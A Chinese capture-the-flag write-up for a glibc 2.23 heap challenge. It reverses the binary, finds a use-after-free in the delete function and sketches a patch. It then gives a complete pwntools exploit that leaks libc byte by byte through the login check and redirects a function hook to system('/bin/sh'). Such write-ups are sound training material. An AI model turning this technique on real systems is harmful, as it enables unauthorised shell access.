星盟AWD 2020-10 PWN Writeup

题目介绍

这个月只有一题pwn,一个堆的洞,更像解题赛的pwn,不难,但是打的时候没想好leak的方法,赛后好好复现了一下

开靶机又是传统功夫ubuntu16 libc2.23 菜单题

稍微逆一下,根据register函数建立结构体

struct account
{
  char *password;
  void *print_hook;
  int len;
};
unsigned __int64 register()
{
  ...
    puts("Input the password length:");
    _isoc99_scanf("%d", &len);
    if ( len <= 256 && len >= 0 )
    {
      passwd_chunk = malloc(len);
      if ( passwd_chunk )
      {
        puts("Input password:");
        read(0, passwd_chunk, len);
        profile_chunk = (account *)malloc(0x18uLL);
        profile_chunk->print_hook = victim;
        profile_chunk->password = (char *)passwd_chunk;
        profile_chunk->len = len;
        accounts[index] = profile_chunk;
        puts("Register success!");
      }
    }...
  }
  return __readfsqword(0x28u) ^ v5;

创建的时候是一个0x20~0x110范围的chunk存储字符串,以及一个固定0x20的chunk存储account基本结构

漏洞点

刷的一下直接看到delete函数

nsigned __int64 delete()
{
  ...
  if ( index < 0 || index > 5 )
  {
    puts("Wrong id!");
  }
  else if ( accounts[index] )
  {
    free(accounts[index]->password);            
      // use after free
    free(accounts[index]);
    puts("Delete success!");
  }
  return __readfsqword(0x28u) ^ v2;

两个chunk free完了都没有清空指针,标准UAF

修复

修复uaf轻车熟路

先上来定位到call free 前的传参

jmp远跳到.eh_frame

把.eh_frame的rwx权限给上

段内用lea给地址赋0

jmp跳回去完事

利用思路

堆块结构里有一个函数hook会在登录成功后调用到这个hook,而且调用的时候会传入hook前面的password指针做参数

因此只要把passsword覆盖成/bin/sh0

把hook覆盖成system

用/bin/sh登录成功后调用hook就是system("/bin/sh0");

unsigned __int64 edit()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Input the user id:");
  v1 = 0;
  _isoc99_scanf("%d", &v1);
  if ( v1 < 0 || v1 > 5 )
  {
    puts("Wrong id!");
  }
  else if ( accounts[v1] )
  {
    puts("Input new pass:");
    read(0, accounts[v1]->password, accounts[v1]->len);
  }
  else
  {
    puts("No such user!");
  }
  return __readfsqword(0x28u) ^ v2;
}

edit函数也提供了修改能力

因此难点只在于如何获取libc基址

因为只有password的chunk能在unsortedbin范围

做出unsortedbin之后这个account的密码就变成了我们要leak的地址

而密码是不可知且位数上来说很难爆破的

预期解是一个巧妙的解法

用edit修改password指针低位

从而使得password的起点后移到最后一个字节,这样就可以直接爆破最后一个字节,然后前移password指针,逐字节往前爆破

#!/usr/bin/env python3

from pwn import *
import ctypes,subprocess
context(arch='amd64',os='linux',log_level='debug',terminal = ['tmux', 'sp', '-h'])
file_path='./login'
glibc_version="2.23"
_debug_=1

elf = ELF(file_path)
#pwn.io init
if _debug_:
    pwn_file="/glibc/%s/64/lib/ld-%s.so --library-path /glibc/%s/64/lib/ %s"%(glibc_version,glibc_version,glibc_version,file_path)
    p = process(pwn_file.split())#,env={"LD_PRELOAD":"./libc.so.6"}
    libc = ELF('/glibc/%s/64/lib/libc-%s.so'%(glibc_version,glibc_version))
    #libc=elf.libc#p.libc
else:
    p = remote('node3.buuoj.cn',27546)
    #libc = ELF('./libc-2.23.so')
    libc = ELF('./libc-%s.so'%glibc_version)
#common pack
su  = lambda desp,value:success(desp+' => '+hex(value))
ru  = lambda delim            :p.recvuntil(delim)
rv  = lambda count=1024,timeout=0:p.recv(count,timeout)
sl  = lambda data             :p.sendline(data)
sla = lambda delim,data       :p.sendlineafter(delim, data)
ss  = lambda data             :p.send(data)
ssa = lambda delim,data       :(ru(delim),ss(data))
#gadgets
one_gadget = lambda filename:list(map(int, subprocess.check_output(['one_gadget', '-l2', '--raw', filename]).split(b' ')))
one_gadget = one_gadget(libc.path)
for ogg in one_gadget: su("one_gadget[%d]"%one_gadget.index(ogg),ogg)
#debug
def vmmap():
    if _debug_==0: return
    for i in list(map(lambda s:b' '.join(s.split()),subprocess.check_output(['cat', '/proc/%d/maps'%p.pid]).split(b'\n'))): print(i)
def debug():
    if _debug_==0: return
    vmmap()
    print(p.libs())
    proc_base = p.libs()[elf.path]
    libc_base = p.libs()[libc.path]
    su('pid(debug)%d'%p.pid,p.pid)
    su('proc(debug)',proc_base)
    su('libc(debug)',libc_base)
    gdbscript='''
        directory /glibc/%s/glibc-%s/malloc/
        '''%(glibc_version,glibc_version)
    gdb.attach(p,gdbscript)
    pause()

def menu(idx):
    p.sendlineafter('Choice:\n',str(idx))
def login(idx,content):
    menu(1)
    p.sendlineafter("id:\n",str(idx))
    p.sendlineafter("length:\n",str(len(content)))
    p.sendafter("password:\n",content)
    check = p.recvline()
    if check == b"Login success!\n":
        return 1
    else:
        return 0
def add(idx,size,content):
    menu(2)
    p.sendlineafter('Input the user id:\n',str(idx))
    p.sendlineafter('password length:\n',str(size))
    p.sendafter('Input password:',(content))
def edit(idx,content):
    menu(4)
    p.sendlineafter('Input the user id:\n',str(idx))
    p.sendafter('pass:\n',(content))
def delete(idx):
    menu(3)
    p.sendlineafter('Input the user id:\n',str(idx))
def fuck(addr):
    for i in range(256):
        if(login(1,chr(i)+addr)):
            return chr(i)
debug()
add(0,0x40,'aaa')
add(1,0x80,'bbb')
delete(0)
delete(1)
add(3,0x18,'\x80')
addr = ""

for i in range(6):
    #pause()
    edit(0,chr(0x85-i))
    #pause()
    addr = fuck(addr)+addr
libc.address = u64(addr+'\x00\x00')-88-0x10-libc.sym['__malloc_hook']
su('libc',libc.address)
pause()
edit(0,p64(next(libc.search(b'/bin/sh\x00')))+p64(libc.sym['system']))
pause()
login(1,'/bin/sh\x00')

#gdb.attach(p)
p.interactive()